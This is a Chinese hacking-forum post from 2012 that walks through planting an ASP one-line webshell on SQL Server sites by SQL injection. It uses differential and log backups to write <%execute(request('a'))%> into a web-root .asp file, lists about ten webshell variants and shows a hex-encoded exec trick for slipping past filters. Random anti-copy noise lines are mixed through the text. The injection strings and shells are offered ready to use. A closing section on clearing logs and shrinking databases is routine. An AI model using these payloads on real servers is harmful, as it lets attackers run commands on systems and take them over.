中国网络渗透测试联盟
标题:
MSsql差异备份总结
[打印本页]
作者:
admin
时间:
2012-9-13 17:21
标题:
MSsql差异备份总结
差异备份的流程大概这样:
* u) |. s% m0 ?& ?7 ^9 U- Z) z+ H
1.完整备份一次(保存位置当然可以改)
" @9 X/ v x0 c7 U
backup database 库名 to disk = 'c:\ddd.bak';--
7 g8 A0 }- S; D4 _# H5 i# m" A
* P9 k- }4 A; ]" |" F. e
2.创建表并插曲入数据
4 c' c8 H G4 K2 O: ^" N
create table [dbo].[dtest] ([cmd] [image]);
4 q, [: F. Y$ v
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
# \" O4 ~# ]% S' ]+ @
^1 z# x4 Y& T$ ]: G/ t- e& U
3.进行差异备份
* U: t6 x6 ~9 R" r# W) e1 @) B
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
4 p. e% t8 g" i6 [: [) _
) j P! { m( s7 X; {
上面
& `$ n8 C& n3 b
0x3C25657865637574652872657175657374282261222929253E
; e; g% l a- |- B) H/ j0 C6 J6 ?
就是一句话木马的内容:<%execute(request("a"))%>
, a& p3 E* |% O/ S; v' c4 H9 a
- b! \- m3 F6 N; N" ^! ~
如下是网上常见的差异备份代码,思路一样!
5 g' R+ H' @9 z
===================================================
. t. K' S+ _& d" K1 q
利用差异备份提高提高backupwebshell的成功率,减少文件大小
. ~. |9 p: G% y% Z- \7 ?7 K) \
步骤:
: ~2 L2 c) t" n
9 a! i* \* I- p3 e
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s --备份数据库
. ]" O! u7 \ l; B: l' B
0 z& L$ \: b. F
create table [dbo].[xiaolu] ([cmd] [image]); -- 创建一个表
, Z$ t" P- I/ j/ B6 L
4 l" i' e9 U% g3 S( u7 J
! g& p# k/ y- d5 r
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) --将一句话木马的16进制字符插入到表中
0 D; C4 P8 X) Z) ?$ m9 E
" d o1 D0 k6 w( h. D
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份
4 p6 O& J1 Q8 \( X5 o O0 Y# z2 h
3 N5 a) N2 x- @2 t3 c
drop table [xiaolu] -- 删除此表。
: d1 @+ E6 B' S0 y8 `
" \9 f- l- X' D) Z6 m
0x77006F006B0061006F002E00620061006B00为wokao.bak
0 `6 n( a- U7 p* q5 i4 W8 O" v: C
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
( h9 p' t+ E% n4 v
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
* }: R8 d( C* m% Z& @; N$ ~
1 ~. B; Q* ]9 n& j+ R9 {* k) _
声明:方法不是我想的,我只是写工具,默认得到shell是
" B; w$ ?0 }; f" [) U0 N
<%execute(request("a"))%>
( @' Y$ O) d( d4 v# h8 o# |
===============================================================
. {& [4 \/ R) V
2 Z$ Y. ~9 d$ z$ E
我发现上面代码,有时会无效,而直接用
$ z" _8 I. X; ]: `# R
" A3 ?# d% u4 d' I y' k
backup database 库名 to disk = 'c:\ddd.bak'
0 p) f& Y" F5 ?1 c y+ U' ]" j
' t8 _# u& y% k3 F4 O& d
create table [dbo].[dtest] ([cmd] [image]);
% e ~# _. U0 Y! k$ ^( n: Z
; V' O5 \$ h1 x2 ]2 B+ T
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 W9 d9 Q1 \/ t# T4 B3 q- _
6 _4 f/ T" S; c' }
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
7 o& [- H8 B' D9 m& b6 A9 H
) b; k: u5 G; F1 x, S# N' e
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
& T/ V v% `5 R* \( j |! x
$ [" o! ~& W9 ]1 {0 @& A
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
' R5 ?1 ~* R/ M1 n
2 O) p( s7 q8 A w3 R; h
网上还有log增量备份的,我也把他记录一下
7 f6 y0 s2 G% G' t f% _
=====================================================
2 e* P# X, O1 y* g( B; U- j7 ]0 E# v
另一种log增量备份技术:
1 F' T9 S! O7 X J
" ~ ^, m+ D4 Q+ D
';alter database null set RECOVERY FULL--
1 ^( e7 }( M& ^( ?& K
! R3 d. z7 [1 I" v; ^( o
';create table cmd (a image)--
0 ~9 `& _% P4 O; Q d% {
# s3 v, p, J4 v' v
';backup log null to disk = 'f:\cmd' with init--
) H5 G! k9 p9 }9 a3 r, f& l. ?
6 g" D/ ~9 C# |0 c9 h# b
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
" }& g* z' K. M" O
# t+ A" Y. q+ y& W* b" e) ?
';backup log null to disk = '备份路径'--
. R9 H6 z( W- I \
) p( i% H8 W- Y- k! ~, Y
';drop table cmd--
6 K" G# ~6 }/ ]& j# A: ~ O
: A! Q/ c7 u! p- ~
';alter database XXX set RECOVERY SIMPLE--
6 u6 @. q5 o2 n9 {
& [3 L; Z, S: E# A
PS:0x3C2565786563757465287265717565737428226122292
# b+ x3 ^$ m8 n8 X. ?6 i
9253EDA 是一句话小马16进制转来的
. D8 j3 }7 M3 e H& j' H. [
1 p1 y. z8 ~, Q
说到一句话马,还可以有这么几种写法:
4 V3 v+ g a- w1 Z! P
) P) @8 L3 c) P5 X7 Z5 X/ u
a)<%%25Execute(request("a"))%%25>
/ q. q9 z& l+ [% ^3 f/ A6 v
b)<%Execute(request("a"))%>
, M( b# a8 x* ]
c)%><%execute request("a")%><%
3 l* X: f9 n/ v3 l1 o' F- A- \: P* P
d)<script language=VBScript runat=server>execute request("a")</script>
6 l( f, U+ z5 P/ t) u
e)<%25Execute(request("a"))%25>
. n6 ]- n! u1 v6 h( R: s3 F7 S
f)<%eval(request("a")):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
3 Q5 ~/ a8 t# b1 Q- I0 T( S
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
) J/ n3 K3 _. j. c! I% E
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
9 t, Q5 Y$ G( ^; Q9 `6 n
I)<%eval request(0)%>
& m! i# D- ^8 s1 {1 I
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
; h% j4 q2 n+ E1 M9 O
) Y- W; N2 `* c2 C) [+ M# e7 x# q
=============================================
7 E: z) G' f' y7 R# ^$ A; z7 ~
3 J) b0 F; {. E5 }& \- I
当遇到差备过滤了/时用这个语句代替
$ u* q# }$ p" S9 z; [: J
/ \+ E$ G2 f- l% d" \+ f
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
$ L( O6 P0 q& i( w. Q% j" X
0 b# H1 K/ A% Y
把要执行的语句转16进制然后用exec执行
3 H: u. ~% S# ]; f. T* U. B) ~8 A
/ y' n7 z7 x# w7 i& ~' Q+ X3 O
5 w$ O8 A) N) A* U9 t
减少备份文件大小方法如下:
4 u2 b1 O, I F) _) u6 A
% y7 V B# v% V& i
总的来说就是那么简单几句,下面以备份数据库model为例子
8 Q; ~( C* S5 H3 F" t
1
: L$ r: X+ g% [6 \6 Y5 F0 P
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
1 t; ^3 I/ [' Q$ M. U* C, {# L
2
; O4 ?) V0 ~- r9 G! I4 p
id=1;backup database model to disk='你的路径‘ with differential,format;--
/ ~3 B9 Y7 W* u% M0 I$ z
7 B" I _) U2 a$ J& `3 t
, W Y4 J* [2 z9 B5 W0 S
; D- B I ]6 h1 b- f
SQL语句清理日志
( c. E0 W. W, {
注:test为数据库名
1 q% D5 j- r, y& v7 X8 `. B1 t' R
! v6 f- x! N H. w
--清空日志
; J1 H5 d( ]+ P) S: T, K: Z
DUMP TRANSACTION test WITH NO_LOG
/ ]* ^& m" X) A. s* b
, i2 d8 j5 h6 x1 `1 |$ |& M
--截断事务日志
$ q9 N1 a% C( q. r- ~
BACKUP LOG test WITH NO_LOG
: |1 R) [# c! _& Y, z$ ~
* X5 `# x* l& j7 o9 @8 ?& w) j$ V6 Y
--收缩数据库
& q8 K9 b/ U3 t) ]2 Y
DBCC SHRINKDATABASE(test)
$ ?) ^6 P- f5 C: V1 T! k) H: H
g9 l3 ?: F I$ n9 H# z9 G' b
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
& s4 u9 A$ f" X, V4 ?, w
Select * from sysfiles DBCC SHRINKFILE(1)
5 }+ ^# y; Q# }4 J) B7 X* s3 r
1 G5 x: a, d3 q* M& G% T
--以后能自动收缩
9 N5 z8 f9 D: S5 i$ Q1 ^
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2